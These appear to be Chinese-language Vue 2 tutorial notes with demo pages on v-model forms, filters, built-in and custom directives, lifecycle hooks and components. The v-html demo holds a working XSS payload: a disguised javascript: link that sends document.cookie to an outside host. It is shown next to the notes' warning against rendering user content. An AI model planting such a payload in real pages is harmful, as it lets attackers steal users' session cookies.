收集表单数据
-
若为
<input type="text"/>
,则v-model收集的是value值,用户输入的就是value值。 -
若为
<input type="radio"/>
,则v-model收集的是value值,且要给标签配置value值。 -
若为
<input type="checkbox"/>
(1)没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)(2)配置input的value属性:
①v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
②v-model的初始值是数组,那么收集的的就是value组成的数组
注意:
v-model
的三个修饰符:
lazy
:失去焦点再收集数据
number
:输入字符串转为有效的数字
trim
:输入首尾空格过滤
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
<div id="root">
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userInfo.account"> <br /> <br />
密码:<input type="password" v-model="userInfo.password"> <br /> <br />
年龄:<input type="number" v-model.number="userInfo.age"> <br /> <br />
性别:
男<input type="radio" name="sex" value="male" v-model="userInfo.sex">
女<input type="radio" name="sex" value="female" v-model="userInfo.sex">
<br /> <br />
爱好:
学习<input type="checkbox" value="study" v-model="userInfo.hobby">
打游戏<input type="checkbox" value="game" v-model="userInfo.hobby">
吃饭<input type="checkbox" value="eat" v-model="userInfo.hobby">
<br /> <br />
所属校区
<select v-model="userInfo.city">
<option value="" >请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br /> <br />
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea>
<br /> <br />
<input type="checkbox" v-model="userInfo.argee">阅读并接受<a href="https://www.baidu.con">《用户协议》</a>
<br /> <br />
<button>提交</button>
</form>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:'',
sex:'',
hobby:[],
city:'beijing',
other:'',
agree:''
}
},
methods: {
demo(){
console.log(JSON.stringify(this.userInfo));
}
}
})
</script>
</html>
过滤器
- 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
- 语法:
①注册过滤器:Vue.filter(name,callback)
或new Vue{filters:{}}
②使用过滤器:{{ xxx | 过滤器名}}
或v-bind:属性 = "xxx | 过滤器名"
- 注意:
①过滤器也可以接收额外参数、多个过滤器也可以串联
②并没有改变原本的数据, 是产生新的对应的数据
<!DOCTYPE html>
<html lang="en">
<head>(
<meta charset="UTF-8">
<title>Document</title>
<script type="text/javascript" src="../../js/vue.js"></script>
<script type="text/javascript" src="../../../js/dayjs.min.js"></script>
</head>
<body>
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 计算属性实现 -->
<h3>现在是:{{fmtTime}}</h3>
<!-- methods实现 -->
<h3>现在是:{{getFmtTime()}}</h3>
<!-- 过滤器实现 -->
<h3>现在是:{{time | timeFormater}}</h3>
<!-- 过滤器(传参) -->
<h3>现在是:{{time | timeFormater("YYYY年MM月DD日") | mySlice}}</h3>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
Vue.filter('mySlice',function(value){
return value.slice(0,4);
})
new Vue({
el:'#root',
data:{
time:1621561377603 //时间戳
},
computed:{
fmtTime(){
return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss");
}
},
methods: {
getFmtTime(){
return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss");
}
},
//局部过滤器
filters:{
timeFormater(value,str='YYYY-MM-DD HH:mm:ss'){
return dayjs(value).format(str);
},
mySlice(value){
return value.slice(0,4);
}
}
})
</script>
</html>
内置指令
回顾之前学的:
v-bind
: 单向绑定解析表达式, 可简写为 :xxx
v-model
: 双向数据绑定
v-for
: 遍历数组/对象/字符串
v-on
: 绑定事件监听, 可简写为@
v-if
: 条件渲染(动态控制节点是否存存在)
v-else
: 条件渲染(动态控制节点是否存存在)
v-show
: 条件渲染 (动态控制节点是否展示)
v-text指令
- 作用:向其所在的节点中渲染文本内容。
- 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-text指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>'
}
})
</script>
</html>
v-html指令
- 作用:向指定节点中渲染包含html结构的内容。
- 与插值语法的区别:
①v-html会替换掉节点中所有的内容,{{xx}}则不会。
②v-html可以识别html结构。 - 注意:v-html有安全性问题!!!!
①在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
②一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
</html>
v-cloak指令
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
v-once指令
- v-once所在节点在初次动态渲染后,就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
v-pre指令
- 跳过其所在节点的编译过程。
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
自定义指令
-
定义语法:
①局部指令:
new Vue({ directives:{指令名:配置对象} })
或
new Vue({ directives:{指令名:回调函数} })
②全局指令:
·Vue.directive(指令名,配置对象)
或
Vue.directive(指令名,回调函数)
-
配置对象中常用的3个回调:
①bind
:指令与元素成功绑定时调用。
②inserted
:指令所在元素被插入页面时调用。
③update
:指令所在模板结构被重新解析时调用。 -
注意:
①指令定义时不加v-
,但使用时要加v-
;
②指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span> </h2>
<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr/>
<input type="text" v-fbind:value="n">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//定义全局指令
/* Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
}) */
new Vue({
el:'#root',
data:{
name:'尚硅谷',
n:1
},
directives:{
//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
/* 'big-number'(element,binding){
// console.log('big')
element.innerText = binding.value * 10
}, */
big(element,binding){
console.log('big',this) //注意此处的this是window
// console.log('big')
element.innerText = binding.value * 10
},
fbind:{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
}
}
})
</script>
</html>
生命周期
- 又名:生命周期回调函数、生命周期函数、生命周期钩子。
- 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
- 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
- 生命周期函数中的
this指向是vm 或 组件实例对象
。 - 常用的生命周期钩子:
①mounted
: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
②beforeDestroy
: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。 - 关于销毁Vue实例
①销毁后借助Vue开发者工具看不到任何信息。
②销毁后自定义事件会失效,但原生DOM事件依然有效。
③一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
生命周期图示
组件
非单文件组件
基本使用
①定义组件(创建组件)
②注册组件
③使用组件(写组件标签)
-
如何定义一个组件?
使用Vue.extend(options)
创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
区别:
①el不要写
: 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
②data必须写成函数
: 避免组件被复用时,数据存在引用关系。
注意:使用template
可以配置组件结构。 -
如何注册组件?
①局部注册:靠new Vue的时候传入components选项
②全局注册:靠Vue.component('组件名',组件)
3.编写组件标签:
<school></school>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>基本使用</title>
<script type="text/javascript" src="../../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<hello></hello>
<hr>
<h1>{{msg}}</h1>
<hr>
<!-- 第三步:编写组件标签 -->
<school></school>
<hr>
<!-- 第三步:编写组件标签 -->
<student></student>
</div>
<div id="root2">
<hello></hello>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
//第一步:创建school组件
const school = Vue.extend({
template:`
<div class="demo">
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
`,
// el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
data(){
return {
schoolName:'尚硅谷',
address:'北京昌平'
}
},
methods: {
showName(){
alert(this.schoolName)
}
},
})
//第一步:创建student组件
const student = Vue.extend({
template:`
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
data(){
return {
studentName:'张三',
age:18
}
}
})
//第一步:创建hello组件
const hello = Vue.extend({
template:`
<div>
<h2>你好啊!{{name}}</h2>
</div>
`,
data(){
return {
name:'Tom'
}
}
})
//第二步:全局注册组件
Vue.component('hello',hello)
//创建vm
new Vue({
el:'#root',
data:{
msg:'你好啊!'
},
//第二步:注册组件(局部注册)
components:{
school,
student
}
})
new Vue({
el:'#root2',
})
</script>
</html>
几个注意点
- 关于组件名:
①一个单词组成:
第一种写法(首字母小写):school
第二种写法(首字母大写):School
②多个单词组成:
第一种写法(kebab-case命名):my-school
第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
注意:
①组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
②可以使用name配置项指定组件在开发者工具中呈现的名字。
- 关于组件标签:
①第一种写法:<school></school>
②第二种写法:<school/>
注意:不用使用脚手架时,<school/>
会导致后续组件不能渲染。
- 一个简写方式:
const school = Vue.extend(options)
可简写为:const school = options